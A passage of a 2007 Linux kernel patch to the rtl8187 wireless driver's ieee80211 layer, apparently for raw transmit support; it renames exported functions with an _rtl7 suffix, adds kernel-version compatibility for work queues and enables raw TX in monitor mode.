ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-06-08 23:30:47.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 